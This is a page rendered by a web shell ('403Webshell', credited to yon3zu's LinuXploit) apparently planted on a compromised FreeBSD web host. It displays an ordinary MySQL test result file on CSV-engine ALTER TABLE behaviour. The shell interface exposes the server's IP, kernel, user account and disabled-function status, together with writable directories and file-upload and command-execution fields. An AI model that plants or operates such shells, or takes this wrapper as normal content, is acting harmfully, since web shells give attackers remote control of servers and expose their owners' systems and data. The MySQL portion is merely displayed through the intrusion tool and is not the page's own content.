403Webshell
Server IP : 49.212.180.16  /  Your IP : 18.221.35.244
Web Server : Apache
System : FreeBSD www2606.sakura.ne.jp 13.0-RELEASE-p14 FreeBSD 13.0-RELEASE-p14 #2: Mon Dec 9 13:54:55 JST 2024 root@www5301.sakura.ne.jp:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
User : utannto ( 1076)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/rs/mysql/5.1/mysql-test/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rs/mysql/5.1/mysql-test/r/csv_alter_table.result
# ===== csv_alter_table.1 =====
DROP TABLE IF EXISTS t1;
CREATE TABLE t1 (a int NOT NULL) ENGINE = CSV;
ALTER TABLE t1 ADD COLUMN b CHAR(5) NOT NULL;
DESC t1;
Field	Type	Null	Key	Default	Extra
a	int(11)	NO		NULL	
b	char(5)	NO		NULL	
ALTER TABLE t1 DROP COLUMN b;
DESC t1;
Field	Type	Null	Key	Default	Extra
a	int(11)	NO		NULL	
ALTER TABLE t1 MODIFY a BIGINT NOT NULL;
DESC t1;
Field	Type	Null	Key	Default	Extra
a	bigint(20)	NO		NULL	
ALTER TABLE t1 CHANGE a a INT NOT NULL;
DESC t1;
Field	Type	Null	Key	Default	Extra
a	int(11)	NO		NULL	
DROP TABLE t1;
# ===== csv_alter_table.2 =====
DROP TABLE IF EXISTS t1;
CREATE TABLE t1 (a int NOT NULL) ENGINE = CSV;
ALTER TABLE t1 ADD COLUMN b CHAR(5);
ERROR 42000: The storage engine for the table doesn't support nullable columns
DESC t1;
Field	Type	Null	Key	Default	Extra
a	int(11)	NO		NULL	
ALTER TABLE t1 MODIFY a BIGINT;
ERROR 42000: The storage engine for the table doesn't support nullable columns
DESC t1;
Field	Type	Null	Key	Default	Extra
a	int(11)	NO		NULL	
ALTER TABLE t1 CHANGE a a INT;
ERROR 42000: The storage engine for the table doesn't support nullable columns
DESC t1;
Field	Type	Null	Key	Default	Extra
a	int(11)	NO		NULL	
DROP TABLE t1;

Youez - 2016 - github.com/yon3zu
LinuXploit